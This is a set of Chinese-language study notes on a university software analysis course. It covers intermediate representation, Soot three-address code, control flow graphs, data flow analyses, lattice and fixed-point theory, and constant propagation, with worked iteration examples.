软件分析

前言

南京大学《软件分析》课程笔记

南京大学《软件分析》课程01(Introduction)_哔哩哔哩_bilibili

Tai-e (pascal-lab.net)

一、Intermediate Representation

image-20230114104924393

1.中间语言编译

(1)过程

image-20221228171253505

  • 词法分析(Lexical Analysis):从源代码到Tokens,检测单词是否正确
  • 语法分析(Syntax Analysis):从TokensAST,检测语法是否正确
  • 语义分析(Semantic Analysis):从ASTDecorated AST,检测语义或者说上下文,语境是否正确,比较复杂,一般在编程语言中不会涉及到,主要是自然语言才有的。
  • 转换(Translator):从ASTIR,即转换为三地址码,方便识别,最后生成机器码

(2)ASTIR

image-20221228171835289

IR更利用静态分析,因为能够展现控制流程,语言无关性,更贴近于机器码。

2.Soot常见分析

JAVA代码到三地址码

For循环例子

1
2
3
4
5
6
7
8
public class ForLoop3AC{
public static void main(String[] args){
int x = 0;
for(int i = 0 ; i < 10 ; i ++){
x = x + 1;
}
}
}

转换为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static void main(java.lang.String[]){
java.lang.String[] r0;
int i1;
r0 := @parameter0: java.lang.String[]; //参数类型的定义

i1 = 0; //变量x

label1: //这里变量x和变量i被soot优化成一个变量i1了
if i1 >= 10 goto label2;

i1 = i1 + 1;

goto label1;

label2:
return;
}

do-while以及数组例子

1
2
3
4
5
6
7
8
9
public class DoWhileLoop3AC{
public static void main(String[] args){
int[] arr = new int[10];
int i = 0;
do{
i = i + 1;
}while(arr[i] < 10);
}
}

转换为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static void main(java.lang.String[]){
java.lang.String[] r0;
int[] r1;
int $i0,i1;

r0 := @parameter0: java.lang.String[];//参数类型定义

r1 = newarray(int)[10]; //array形式的赋值

i1 = 0;

label1:
i1 = i1 + 1;

$i0 = r1[i1];

if $i0 < 10 goto label1;

return;
}

函数调用例子

1
2
3
4
5
6
7
8
9
10
public class MethodCall3AC{
String foo(String para1, String para2){
return para1 + " " + para2;
}

public static void main(String[] args){
MethodCall3AC mc = new MethodCall3AC();
String result = mc.foo("hello","world");
}
}

转换为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
java.lang.String foo(java.lang.String, java.lang.String){
nju.sa.example.MethodCall3AC r0;
java.lang.String r1,r2,$r7;
java.lang.StringBuilder $r3,$r4,$r5,$r6;

//参数类型和函数名
r0 := @this: nju.sa.examples.MethodCall3AC;
r1 := @parameter0: java.lang.String;
r2 := @parameter1: java.lang.String;

//创建一个String
$r3 = new java.lang.StringBuilder;
specialinvoke $r3.<java.lang.StringBuilder: void<init>()>();

//调用StringBuilder下的append,对应para1 + " " + para2
$r4 = virtualinvoke $r3.<java.lang.StringBuilder: java.lang.StringBuilder append(java.lang.String)>(r1);
$r5 = virtualinvoke $r4.<java.lang.StringBuilder: java.lang.StringBuilder append(java.lang.String)>(" ");
$r6 = virtualinvoke $r5.<java.lang.StringBuilder: java.lang.StringBuilder append(java.lang.String)>(r2);

//完成之后需要toString来获取最终的变量
$r7 = virtualinvoke $r6.<java.lang.StringBuilder: java.lang.String toString()>();

return $r7;

}


public static void main(java.lang.String[]){
java.lang.String[] r0;
nju.sa.examples.MethodCall3AC $r3;

r0 := @parameter0: java.lang.String[];

//创建一个MethodCall3Ac
$r3 = new nju.sa.examples.MethodCall3Ac;
specialinvoke $r3.<nju.sa.examples.MethodCall3Ac: void <init>()>();

//函数调用
virtualinvoke $r3.<nju.sa.examples.MethodCall3AC: java.lang.String foo(java.lang.String,java.lang.String)>("hello","world");

return;
}

这里有个关于函数调用的知识点

image-20221228180921880

不同invoke在三地址码中代表调用不同的函数,是在JVM虚拟机中的一种表示。

  • <method signature>中的method signture通常结构为class name: return type method name(parameter1 type)

静态变量和类

1
2
3
4
5
6
public class Class3AC{
public static final double pi = 3.14;
public static void main(String[] args){

}
}

转换为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class nju.sa.examples.Class3AC extends java.lang.Object{
public static final double pi;

public void <init>(){
nju.sa.examples.Class3AC r0;

r0 := @this: nju.sa.examples.Class3AC;

specialinvoke r0.<java.lang.Object: void <init>()>();

return;
}

public static void main(java.lang.String[]){
java.lang.String[] r0;

r0 := @parameter0: java.lang.String[];

return;
}

//静态变量放在clinit函数中声明
public static void <clinit>(){
<nju.sa.examples.Class3AC: double pi> = 3.14;
return;
}
}

3.SSA(Static Single Assignment)

和三地址码3AC类似的一种表达方式,有优点也有缺点,但是大多用的是3AC,对于SSA区别如下

  • 每个定义的变量都有自己的不同名字
  • 每个变量都有自己的定义

比如

image-20221229182529367

如果有多的相同变量,则会有一个函数来判断,如下

image-20221229182112639

X2 = ∅(X0,X1) 会用来判断值到底是哪个

4.基础块(Basic Block)

定义:

  • 只有一个入口指令,入口指令为第一个指令
  • 只有一个出口指令,出口指令为最后一个指令
  • 一个跳转目的点应该是一个BB的入口指令

方法:

如下为例子

image-20221229195930007

  • 首先确定程序中入口

    即**(1)**为入口

    image-20221229200108674

  • 然后确定跳转指令的目的地址,标记为leader,依据指令**(4)(10)(11)即可确定这里即为(3)(7)(12)**

    image-20221229200132805

  • 跳转指令后面的指令为一个leader,依据指令**(4)(10)(11)即可确定这里即为(5)、(11)、(12)**

    image-20221229200508572

  • 依据leader来划分BB,即一个BB应该是由一个leader到下一个leader之间的所有指令构成,不包括下一个leader

    • leaders(1), (3), (5), (7), (11), (12)

    • 划分BB

      • BB1:**(1)~(2)**
      • BB2:**(3)~(5)**
      • BB3:**(5)~(6)**
      • BB4:**(7)~(10)**
      • BB5:**(11)**
      • BB6:**(12)**
    • 得到最终BB结构

      image-20221229201021799

5.CFG(Control Flow Graph)

定义:

  • 每个节点node为一个BB
  • 两个节点node之间只能有一条边

方法:

  • 首先跳转指令的跳转目的地址都修改为对应的BB

    image-20221229201645109

  • 然后依据跳转指令,将对应跳转进行连边,即得到

    B2->B4B4->B6B5->B2三条边

    image-20221229201736630

  • 从程序入口到程序出口间所有的BB,由上至下两两添加一条边,除了包含无条件跳转的BB,那么得到

    B1->B2B2->B3B3->B4B4->B5四条边,由于B5出口指令为无条件跳转,所以B5->B6没有边,得到如下

    image-20221229202220689

  • 依据边的方向,得到各个BB之间的前驱后继的关系

  • 加入EntryExit,得到如下

    image-20221229202406452

二、Data Flow Analysis I

image-20230114104952338

即数据(DATA)在CFG(Control Flow Graph)中Flow的过程分析

1.基本概念

常见符号

  • 抽象符号

    • :未定义

    • +、-:常见正负表示

    • 0:即零

IN[S]和OUT[S]

一个IR语句的输入数据集合以及输出数据集合,如下所示

image-20221230101356151

然后也区分几种状况,如下所示

image-20221230101529915

  • 状况1:IN[S2] = OUT[S1],常见流程

  • 状况2:IN[S2]、IN[S3] = OUT[S1],分支流程

  • 状况3:IN[S2] = OUT[S1] ^ OUT[S3],交汇流程

    其中的合并操作称为meet操作,常见有取交集、并集之类的,需要定义

分析方向

  • Forward Analysis

    image-20221230102820182

    相关公式
    $$
    OUT[s] = f_s(IN[s])
    $$

  • Backward Analysis

    image-20221230102900026

    相关公式
    $$
    IN[s] = f_s(OUT[s])
    $$

2.BB之间的分析

  • 在一个基本块BB

    image-20221230103138670

    IN[s]以及OUT[s]可以用一个循环表示
    $$
    IN[s_{i+1}] = OUT[s_i], for\ all\ i = 1,2, …, n-1\
    OUT[s_i] = f_s(IN[s_{i-1}])
    $$

  • 同样的多个基本块BB

    • B1 -> B2 -> B3这样的

    $$
    IN[B] = IN[s_1], OUT[B] = OUT[s_n]\
    OUT[B] = f_B(IN[B]), f_B = f_{sn} \ ⚬ \ …\ ⚬\ f_{s2}\ ⚬\ f_{s1}
    $$

    • 当然还有其它的,交汇

      image-20221230105038522

      1
      IN[B] = ^p OUT[p]

      其中^p代表取所有的pmeet操作

    • 还有分支,分支的OUT[B]都等于下一个的IN[B.]

3.Reaching Definition

即一个变量v从定义点p,到某一点q这条路径中,v没有再被重新定义,那么这条路径可以被当作Reaching Definition,如果再被重新定义了,则不能,如下

image-20221230111227435

Data Flow Facts

将所有定义变量的语句标记为一个bit向量

image-20221230111953040

Control Flow

用来求IN[B],例子如下

image-20221230112722811

1
IN[B] = Up  predecessor of B OUT[p]

其中Up代表取B的前驱,即所有的punion操作,即并集

Transfer Function

即数据流分析中的转换函数的相关定义,forward下知道IN[B]用来求OUT[B]
$$
OUT[B] = gen_B\ U\ (IN[B] - kill_B)
$$

  • genB:表示当前基本块中定义的所有变量的合集
  • killB:表示当前基本块中定义的所有变量,并且这些变量在其他基本块中也被定义了的合集

例子如下

image-20221230112140537

Algorithm

image-20221230113741886

其中对于每个BB的赋值,在may analysis中大多为空,而在must analysis中大多不为空,所以并没有把OUT[entry] = ∅; 加进来

例子

如下所示,初始化之后即可迭代

第一次迭代

image-20221230115302112

  • Entry->B1

    • OUT[Entry] = 0000 0000

    • IN[B1] = Up OUT[p] = OUT[Entry] = 0000 0000

    • genB1 = D1 + D2 = 1100 0000

    • killB1 = D5 + D7 + D4 = 0001 1010

    • IN[B1] - killB1 = 0000 0000 - 0001 1010 = 0000 0000

      都是0,减去之后还是0

    • OUT[B1] = genB1 U (IN[B1] - killB1) = 1100 0000 + 0000 0000 = 1100 0000

    image-20221230121324875

  • B1->B2

    • OUT[B1] = genB1 U (IN[B1] - killB1) = 1100 0000 + 0000 0000 = 1100 0000
    • IN[B2] = Up OUT[p] = OUT[B1] + OUT[B4] = 1100 0000
    • genB2 = D3 + D4 = 0011 0000
    • killB2 = D2 = 0100 0000
    • IN[B2] - killB2 = 1100 0000 - 0100 0000 = 1000 0000
    • OUT[B2] = genB2 U (IN[B2] - killB2) = 0011 0000 + 1000 0000 = 1011 0000

    image-20221230121420467

  • B2->B3

    • OUT[B2] = genB2 U (IN[B2] - killB2) = 0011 0000 + 1000 0000 = 1011 0000

    • IN[B3] = Up OUT[p] = OUT[B2] = 1011 0000

    • genB3 = D7 = 0000 0010

    • killB3 = D1 + D5 = 1000 1000

    • IN[B3] - killB3 = 1011 0000 - 1000 1000 = 0011 0000

    • OUT[B3] = genB3 U (IN[B3] - killB3) = 0000 0010 + 0011 0000 = 0011 0010

      image-20221230122517800

  • B2->B4

    • OUT[B2] = genB2 U (IN[B2] - killB2) = 0011 0000 + 1000 0000 = 1011 0000

    • IN[B4] = Up OUT[p] = OUT[B2] = 1011 0000

    • genB4 = D5 + D6 = 0000 1100

    • killB4 = D1 + D7 + D8 = 1000 0011

    • IN[B4] - killB4 = 1011 0000 - 1000 0011 = 0011 0000

    • OUT[B4] = genB4 U (IN[B4] - killB4) = 0000 1100 + 0011 0000 = 0011 1100

      image-20221230122538028

  • B4、B3->B5

    • OUT[B3] = genB3 U (IN[B3] - killB3) = 0000 0010 + 0011 0000 = 0011 0010

    • OUT[B4] = genB4 U (IN[B4] - killB4) = 0000 1100 + 0011 0000 = 0011 1100

    • IN[B5] = Up OUT[p] = OUT[B3] + OUT[B4] = 0011 0010 + 0011 1100 = 0011 1110

    • genB5 = D8 = 0000 0001

    • killB5 = D6 = 0000 0100

    • IN[B5] - killB5 = 0011 1110 - 0000 0100 = 0011 1010

    • OUT[B5] = genB5 U (IN[B5] - killB5) = 0000 0001 + 0011 1010 = 0011 1011

      image-20221230122557226

那么由于第一次迭代之后,B1、B2、B3、B4、B5OUT都发生改变了,所以继续迭代,所有基本块的OUT被本次迭代结果替换

第二次迭代

完成如下

image-20221230122957105

那么基本块B2、B3OUT发生了改变,接着迭代

第三次迭代

image-20221230123059166

迭代之后,所有基本块的OUT都没有发生改变,那么即可得到最终结果。

最终含义

依据最终结果,即所有基本块的OUT[Bn]可得,比如对于OUT[B1]而言,对应结果为1100 0000,代表D1、D2可以ReachB1结束的地方,也就是说D1、D2所定义的变量从被定义到B1结束的地方都不会被改变。

三、Data Flow Analysis - Applications II

1.Live Variables Analysis

即存在一个变量v在点p被定义,然后程序中还存在一个变量v被使用的地方use(v),满足从puse(v)这条路径上,v没有被重新定义,那么可以称为变量v在点puse(v)这条路径上是存活的,如下

image-20221230155034133

  • 应用

比如寄存器满的状态,这时候在p点发现变量vdead的,并且该变量在寄存器中,那么新的变量最好就是替换掉dead变量v

Data Flow Facts

将所有变量的标记为一个bit向量,和之前类似,1alive

image-20221230155541698

Control Flow

用来求OUT[B]的,例子如下

image-20221230163405006

1
OUT[B] = Us successor of B IN[S]

其中Us代表取B的后继,即所有的sunion操作,即并集

Transfer Function

由于是backward,所以即知道OUB[B]来求IN[B]
$$
IN[B] = use_B\ U\ (OUT[B]\ -\ def_B)
$$

  • useB:在基本块BB中在重定义之前被使用的变量的合集

    比如某个基本块v = 2; k = v,由于v是在被重定义之后被使用的,所以变量v不被归入到useB

  • defB:在基本块BB中被重定义或首次定义的变量的合集

Algorithm

image-20221230163808603

同样进行简单初始化即可开始迭代

例子

如下所示,初始化之后即可迭代

第一次迭代

image-20221230164205006

  • Exit->B5

    • IN[Exit] = 000 0000
    • OUT[B5] = Us IN[s] = IN[Exit] = 000 0000
    • defB5 = z = 001 0000
    • useB5 = p = 000 1000
    • OUT[B5] - defB5 = 000 0000
    • IN[B5] = useB5 + (OUT[B5] - defB5) = 000 1000 + 000 0000 = 000 1000

    image-20221230171348741

  • B5->B3

    • IN[B5] = useB5 + (OUT[B5] - defB5) = 000 0100 + 000 0000 = 000 1000
    • OUT[B3] = Us IN[s] = IN[B5] = 000 1000
    • defB3 = x = 100 0000
    • useB3 = x = 100 0000
    • OUT[B3] - defB3 = 000 1000
    • IN[B3] = useB3 + (OUT[B3] - defB3) = 100 0000 + 000 1000 = 100 1000

    image-20221230171409470

  • B5->B4

    • IN[B5] = useB5 + (OUT[B5] - defB5) = 000 0100 + 000 0000 = 000 1000
    • OUT[B4] = Us IN[s] = IN[B5] + IN[B2] = 000 1000 + 000 0000 = 000 1000
    • defB4 = x + q = 100 0100
    • useB4 = y = 010 0000
    • OUT[B4] - defB4 = 000 1000
    • IN[B4] = useB4 + (OUT[B4] - defB4) = 010 0000 + 000 1000 = 010 1000

    image-20221230171426774

  • B4、B3->B2:

    • IN[B4] = useB4 + (OUT[B4] - defB4) = 010 0000 + 000 1000 = 010 1000

    • IN[B3] = useB3 + (OUT[B3] - defB3) = 100 0000 + 000 1000 = 100 1000

    • OUT[B2] = Us IN[s] = IN[B3] + IN[B4] = 110 1000

    • defB2 = m + y = 010 0010

    • useB2 = k = 000 0001

      注意m是在被使用之前重定义了,所以不能算在useB2

    • OUT[B2] - defB2 = 100 1000

    • IN[B2] = useB2 + (OUT[B2] - defB2) = 000 0001 + 100 1000 = 100 1001

    image-20221230171452976

  • B2->B1

    • IN[B2] = userB2 + (OUT[B2] - defB2) = 000 0001 + 100 1000 = 100 1001
    • OUT[B1] = Us IN[s] = IN[B2] = 100 1001
    • defB1 = x + y = 110 0000
    • useB1 = p + q + z = 001 1100
    • OUT[B1] - defB1 = 000 1001
    • IN[B1] = useB1 + (OUT[B1] - defB1) = 001 1100 + 000 1001 = 001 1101

    image-20221230171510996

基本块B1、B2、B3、B4、B5IN[]都发生改变,需要再次迭代,结果如下

第二次迭代

image-20221230170947293

其中B4IN[]发生改变,需要再次迭代,结果如下

第三次迭代

image-20221230171054036

没有基本块的IN[]被改变了,那么不用迭代了

最终含义

同样道理,依据最终结果,比如这里的IN[B3]100 1000,那么代表在进入基本块B3之前,变量x、p是存活的,在之后的流程中会用到,其他变量在之后的流程不会用到,为dead变量

2.Available Expressions Analysis

  • 概念

    一个表达式x op y如果说在在p点是available的话,那么满足如下条件:

    • 所有从entryp的路径都会计算表达式x op y

    • 在最后一次计算表达式x op y之后,到p之前,没有再重新定义变量x或者 y

  • 应用

    • 可以将一个available的表达式x op y的计算结果,替换成上一次计算表达式x op y 的结果,使得不再重复计算
    • 用来检测全局公用的子表达式
  • 类型:

    • 属于是must analysis,一旦分析出结果,代表该结果一定正确,一定是为available

Data Flow Facts

和之前类似,将所有表达式都用bit向量表示,为1代表available

image-20221230190653551

Control Flow

forward中求IN[B]

image-20221230112722811

1
IN[B] = ∩p predecessor of B OUT[p]

即为∩p求基本块B所有前驱的OUT[p]的交集

Transfer Function

forward,知道IN[B]用来求OUT[B]
$$
OUT[B] = gen_B\ U\ (IN[B] - kill_B)
$$

  • genB:当前基本块中用到的表达式

  • killB:所有在IN[]中的表达式的变量参与进基本块B中重新定义的表达式合集

    比如基本块 a = x op y,其中IN[B]a + b,那么由于IN中变量a在基本块B中重新定义了,所以将IN[B]中关于变量a的表达式都加入到killB

Algorithm

image-20221230192724776

这里的除了entry外,其他基本块都初始化为top,即1111..111,因为就算有个表达式没有找出来,那就只是代表少优化一次,不影响程序本身的运行流程

例子

如下所示,初始化之后即可开始迭代

image-20221230192931922

第一次迭代
  • Entry->B1

    • OUT[Entry] = 00000
    • IN[B1] = ∩p predecessor of B OUT[p] = OUT[Entry] = 00000
    • genB1 = p-1 = 10000
    • killB1 = 00000
    • IN[B1] - killB1 = 00000
    • OUT[B1] = genB1 + (IN[B1] - killB1) = 10000
  • B1->B2

    • OUT[B1] = 10000
    • IN[B2] = ∩p predecessor of B OUT[p] = OUT[B1] ∩ OUT[B4] = 10000 ∩ 11111 = 10000
    • genB2 = z/5和e^7*x = 01010
    • killB2 = p-1 = 10000
    • IN[B2] - killB2 = 00000
    • OUT[B2] = genB2 + (IN[B2] - killB2) = 01010
  • B2->B3

    • OUT[B2] = 01010

    • IN[B3] = ∩p predecessor of B OUT[p] = OUT[B2] = 01010

    • genB3 = y+3 = 00001

    • killB3 = 01000

      其中zIN[B3]中有表达式z/5用到,那么需要将对应表达式加入到killB3集合中

    • IN[B3] - killB3 = 00010

    • OUT[B3] = genB3 + (IN[B3] - killB3) = 00011

  • B2->B4

    • OUT[B2] = 01010
    • IN[B4] = ∩p predecessor of B OUT[p] = OUT[B2] = 01010
    • genB4 = 2*y和e^7*x = 00110
    • killB4 = 00010
    • IN[B4] - killB4 = 01000
    • OUT[B4] = genB3 + (IN[B4] - killB4) = 01110
  • B3、B4->B5

    • OUT[B3] = 00011
    • OUT[B4] = 01110
    • IN[B5] = ∩p predecessor of B OUT[p] = OUT[B4] ∩ OUT[B3] = 00010
    • genB5 = e^7*x和z/5 = 01010
    • killB5 = 00000
    • IN[B5] - killB5 = 00010
    • OUT[B5] = genB5 + (IN[B5] - killB5) = 01010

基本块B1、B2、B3、B4、B5OUT[]都发生改变,需要再次遍历

第二次迭代

同理可得,结果如下

image-20221230195310159

没有基本块的OUT[]发生改变,可为最终结果

最终含义

依据最终结果,拿基本块B2而言,对于表达式e^7*xavailable的,那么在程序第一次经过B2时,由于表达式e^7*x还没被计算,那么先计算,然后保存。当通过循环第二次经过B2时,其表达式e^7*x就可以被直接替换为上一次表达式的值,在这里也就是在基本块B4中得到的值,其他的同理可得。

3.Data Flow Analysis总结

异同

image-20221230200017051

需要掌握的

image-20221230200156658

三种数据流分析算法、异同以及为什么迭代算法可以停止

停止的原因就是迭代到最后,最差的情况就是全是top:1111..或者全是bottom:0000....

四、Data Flow Analysis - Foundations I

image-20230114105124710

1.偏序(Partial Order)

poset偏序集

性质:
$$
\begin{align}
&\forall x \in P,x\subseteq x\quad &(Reflexivity)\
&\forall x,y \in P,x\subseteq y ∧ y\subseteq x =>x=y\quad &(Antisymmetry)\
&\forall x,y,z\in P,x\subseteq y ∧ y\subseteq z =>x \subseteq z \quad &(Transitivity)
\end{align}
$$

2.Upper and Lower Bounds

$$
u\in P,u\ is \ an \ upper\ bound\ of\ S,if\ \forall x\in S,x\subseteq u\
l\in P,l\ is \ an \ lower\ bound\ of\ S,if\ \forall x\in S,l\subseteq x\
$$

  • lub/join(least upper bound)

    lub定义符号为⊔S,满足⊔S ⊑ uu为上界

  • glb/meet(greatest lower bound)

    glb定义符号为⊓S,满足l ⊑ ⊓S

  • 如果S ⊑ P(P,⊑) ,并且S只有两个元素,假定为S={a,b},那么可得如下

    • ⊔S = a⊔b (join)
    • ⊓S = a⊓b (meet)
  • 不是所有偏序集都有最大下界或者最小上界

  • 如果一个偏序集有最大下界或者最小上界,那么一定是唯一的

3.Lattice

Lattice(格)

如果一个偏序集中任意两个元素组成一个集合,都有最小上界和最大下界存在,那么该偏序集即为一个lattice

P(P,⊑), ∀a,b∈P, a⊔b and a⊓b exists => P is a lattice

Semilattice(半格)

如果一个偏序集中任意两个元素组成一个集合,最小上界和最大下界中只有一个存在,那么该偏序集即为一个Semilattice

  • join semilattica⊔b存在,a⊓b不存在
  • meet semilattica⊓b存在,a⊔b不存在

Complete Lattic(全格)

定义:

如果对于一个偏序集中任意一个子集,都有最小上界和最大下界存在,那么该偏序集即为一个Complete Lattice

每一个全集都有一个最大元素和最小元素

  • 最大元素(a greatest element T) = ⊔P = top
  • 最小元素(a least element ⊥) = ⊓P = bottom

性质:

所有有限的Lattice都是Complete Lattic,但是一个Complete Lattic不一定是有限的,比如0-1这个偏序集中所有实数(包括0,1)作为一个集合,存在边界,是一个Complete Lattic,但是里面的子集的元素就可以是无限的。

Product Lattice

一个Lattice合集,其中所有Lattice都由最小上界和最大上界,那么即可称该Lattice合集为一个Product Lattice

4.Fixed-Point

Monotonicity(单调)

对于一个Lattice L,有函数f:∀x∈L,f(x)∈L,假定该函数存在单调性,则L满足单调

1
∀x,y∈L,x⊑y => f(x)⊑f(y)

🔺mark:那单调性怎么证明呢?

Fixed-Point Theorem(不动点理论)

给定一个Complete Lattice LL满足单调且有限,那么可以用来求不动点

最小不动点

含义

$$
f(⊥),f(f(⊥)),…..,f^k(⊥)会达到最小不动点
$$

证明
  • 首先是存在不动点证明
    $$
    \begin{align}
    &\because\forall x,y\in L,x\subseteq y => f(x)\subseteq f(y)(Monntonicity)\
    &\therefore⊥\subseteq f(⊥)\
    &\therefore f(⊥)\subseteq f(f(⊥)) = f^2(⊥)\
    &\therefore ⊥\subseteq f(⊥) \subseteq f^2(⊥)\subseteq …\subseteq f^i(⊥)\
    &\because L\ is\ finite\
    &\therefore f^{Fix} = f^k(⊥) = f^{k+1}(⊥)
    \end{align}
    $$

  • 然后是证明求得的不动点是最小不动点,还是不太理解提到的数学归纳法,既然从开始做f,那么到某个k就必定存在不动点,那么将x也做kf不就好了吗。

    假定存在其他的不动点x,那么有x = f(x),⊥⊑x
    $$
    \begin{align}
    &\because\forall x,y\in L,x\subseteq y => f(x)\subseteq f(y)(Monntonicity)\
    &\therefore f(⊥)\subseteq f(x)\
    &\therefore f^2(⊥)\subseteq f^2(x)…f^i(x)\subseteq f^i(x)\
    &\because \exist k,f^k(⊥) = f^{Fix}\
    &\therefore f^{Fix} = f^k(⊥) \subseteq f^k(x)=x\
    \end{align}
    $$
    那么就代表通过求得的不动点一定是最小不动点,这里和李樾老师不一样,我也不知道能不能这么写,老师原版是数学归纳法induction

    image-20221231182008327

最大不动点

含义

$$
f(T),f(f(T)),…..,f^k(T)会达到最大不动点
$$

证明

证明和最小不动点证明类似

5.应用

这里把老师上课讲的放到最后了

理论应用

即依据Lattice的定义,将之前提到的算法中

  • 需要求的所有的OUT/IN当作一个元素V(111..0000...),依据相关性质可知道该元素V为一个Complete Lattice,任意子集都有最大下界和最小上界,并且finite
    $$
    &OUT[B_1]&OUT[B_2]&…&OUT[B_n]\
    &V_1 &V_2&…&V_n
    $$

  • Transfer function作为刚刚提到的给定的f函数,其单调性需要证明,**(这里好像还没有证明)**那么每迭代一轮,就相当于对所有的IN/OUT做一次Transfer function

  • 将每一次迭代结果合并为一个集合Xi,可知该集合为一个Product Lattice,此外该Product Lattice Xi(finite)中所有元素均为一个Complete Lattice,那么该Xi也是一个Complete Lattice,然后加入Transfer function可得如下结果

    image-20221231183658759

那么即可用到Fixed-Point Theorem(不动点)理论来求最终结果,回答如下问题

问题

image-20221231184741275

  • 算法是否能够确保有解,可达不动点?
  • 是否只有一个不动点,通过算法求解得到的不动点是否是最好的?
  • 什么时候可以达到不动点?

🔺mark:好像后面两个问题还没有解决

五、Data Flow Analysis - Foundations II

image-20230114105134416

1.Prove Function F is Monotonic

分析:

一般而言F形式为OUT/IN = gen ⊓/⊔ (IN/OUT - kill)

由于对于每一个基本块BB而言,genkill都是固定的,即为单调的常数,所以这里的需要证明的就是⊓/⊔是否为单调的,先证明为单调,证明方法对同理

证明如下:

定义:求任意两个元素的最小上界

想要证明为单调,即转化为证明如下结论
$$
\forall x,y,z\in L,x\subseteq y\ =>\ x⊔z\subseteq y⊔z
$$
证明过程:
$$
\begin{align}
&\therefore y⊔z\ is\ an\ least\ upper\ bound\ of\ y\
&\therefore y\subseteq y⊔z\
&\because x\subseteq y\
&\therefore x\subseteq y⊔z\ =>\ y⊔z\ is\ an\ upper\ bound\ of\ x \
&\because x⊔z\ is\ an\ least\ upper\ bound\ of\ x\
&\therefore x⊔z\subseteq y⊔z
\end{align}
$$
证毕

那么即可得到对于每一个基本块的Function F是单调的,由于每次迭代的时候的f即代表对每一个基本块做Function F,所以f也是单调的。

2.Time Complexity

即什么时候到达不动点

  • 偏序集高度h定义,从TopBottom

    image-20230103115752131

那么一个算法中有个knode,最坏情况就是,每次迭代,只有一个node的一个bit0->1。而bit的数量其实就是偏序集的高度h,从而得到最坏的情况就是迭代h*k次,从而把所有node的所有bit都从0->1,时间复杂度即为h*k

3.May and Must Analyses,a Lattice View

将一个Lattice抽象称一个图形,如下

image-20230103154826254

May Analysis/Must Analysis基本都是从unsafe->safe的过程,也就是safe-approximation主要就是如下的图

image-20230103164006781

  • May
    • Bottom->Top,从不准确到准确,达到Least Fixed Point
    • 比如Reaching DefinitionunSafe就是No definitions can reachsafe,也就是All definitions may reach的过程。
  • Must
    • Top->Bottom,也是从不准确到准确,达到Greatest Fixed Point
    • 比如Expressions available,它的safe就必须是No expressions are available。因为误报了一个expressionavailable的话,那么整个程序优化之后就会出错,所以它的safe只能是No expressions are available,然后即可推得其他的。

大概是懂了,但是如果再来设计一个算法,是依据什么原则或者什么方法来将它设计成Must还是May呢。

比如活跃变量分析,其应用通常是用来提高寄存器利用率的,用来求dead变量的,就算求不出来dead变量,其实对程序实际的运行结果并不会造成影响,所以应该设计成May但是能不能设计成Must呢?设计成Must是会出错,还是会导致优化程度不够高呢,好像是后者把。

4.How Precise Is Our Solution

Meet-Over-All-Paths Solution(MOP)

即所有从Entry到该某点SiPath的一些运算

image-20230103170419300

1
MOP[Si] = ⊔/⊓  Fp(OUT[Entry])

其中Fp代表从EntrySi某条路径的所有Transfer funstion的一个集合函数。比如有一条路径为Entry->S1->S2->...->Si,那么整条路径从Entry->Si-1可得OUT[Si-1] = Fp(OUT[Entry])

MOP[Si]即求所有路径(当然不同路径的Si-1可能不同)到Si的一个meet/join,也就是将不同路径的OUT[Si-1]做一个meet/join操作。

有些Path在实际的动态运行过程中可能不存在,但是在静态分析时会将之归入进来计算。

MOP vs Ours(Iterative Algorithm)

假定如下情况

image-20230103173750413

依据定义可分别得到对应的结果
$$
\begin{align}
&Ours[S4]=IN[S4]=f_{s3}(f_{s1}(OUT[Entry])⊔f_{s2}(OUT[Entry]))\
&MOP[S4]=IN[S4]=f_{s3}(f_{s1}(OUT[Entry]))⊔f_{s3}(f_{s2}(OUT[Entry]))
\end{align}
$$
其中fs1(OUT[Entry])fs2(OUT[Entry])是一样的,那么将之抽象为xyfs3抽象为F可得简化后的结果

1
2
Ours = F(x⊔y)
MOP = F(x)⊔F(y)

证明一下两者的关系
$$
\begin{align}
&\therefore x\subseteq x⊔y\ and\ y\subseteq x⊔y\
&\because ∀x,y\in L,x\subseteq y => F(x)\subseteq F(y)(Monotonic)\
&\therefore F(x)\subseteq F(x⊔y)\ and\ F(x)\subseteq F(x⊔y)\
&\therefore F(x⊔y)\ is\ an\ upper\ bound\ of\ F(x)\ and\ F(y)\
&\because F(x)⊔F(y)\ is\ an\ least\ upper\ bound\ of\ F(x)\ and F(y)\
&\therefore F(x)⊔F(y)\subseteq F(x⊔y)\
&\therefore MOP\subseteq Ours
\end{align}
$$
又因为如下关系图

image-20230103164006781

may analysis中,越接近上界越不准确,所以OursMOP更加不准确

但是如果满足Transfer function F distributive(可分配的),即分配律,那么可得F(x⊔y) = F(x)⊔F(y)的,那么MOP=Ours。即当Transfer function是可分配的,即代表MOP其实是等价于Ours的。

有个结论:

Bit-vector or Gen/Kill problems (set union/intersection for join/meet) are distributive

就是前面提到的关于Bit-Vector方法定义的,或者是Gen/Kill定义的Transfer function都是可以分配的

5.Constant Propagation

使用的是MOP

Data Flow Facts

将所有的变量是否为常量都表达为一个组合pairs,即(x,v),也就是当前经过node之后的OUT中该变量x的值v

Control Flow

Expression Analysis一样,应该是Must的,因为safe的时候,应该是所有变量都不是常量,对应在Bottom,也就是NAC(Not an constant)。而由于是组合键值pair形式,所以Top应该是undefine,也就是UNDEF形式,最终如下

image-20230104113135782

然后需要设计一下Meet操作,表达式同样类似

1
IN[B] = ⊓p predecessor of B OUT[p]

一个变量v与另一个进来的值对应的无非如下几种情况

  • v ⊓ UNDEF = v

    没定义的碰见另一个,当然直接相当于另一个了

  • v ⊓ NAC = NAC

    既然已经确定不是常量,那么无论另一边值是啥,该变量必定不是常量了

  • v ⊓ constant

    • c ⊓ c = c

      两边均为常量才是常量

    • c1 ⊓ c2 = NAC

      两边值不同就不是常量了

    • UNDEF ⊓ c = c(和前面一样)

    • NAC ⊓ c = NAC(和前面一样)

Transfer Function

1
F: OUT[s] = gen⊔(IN[s] - {(x, _)})

即需要去掉所有其他node中关于变量x的键值对pair,然后加上当前生成的变量键值对pair

使用函数val(x)来求对应x的值,然后对应不同的statement有如下情况

  • s : x = constant;
  • s : x = y;
  • s : x = y op z;
    • f(y,z) = val(y) op val(z) //val(y)和val(z)都是常量时
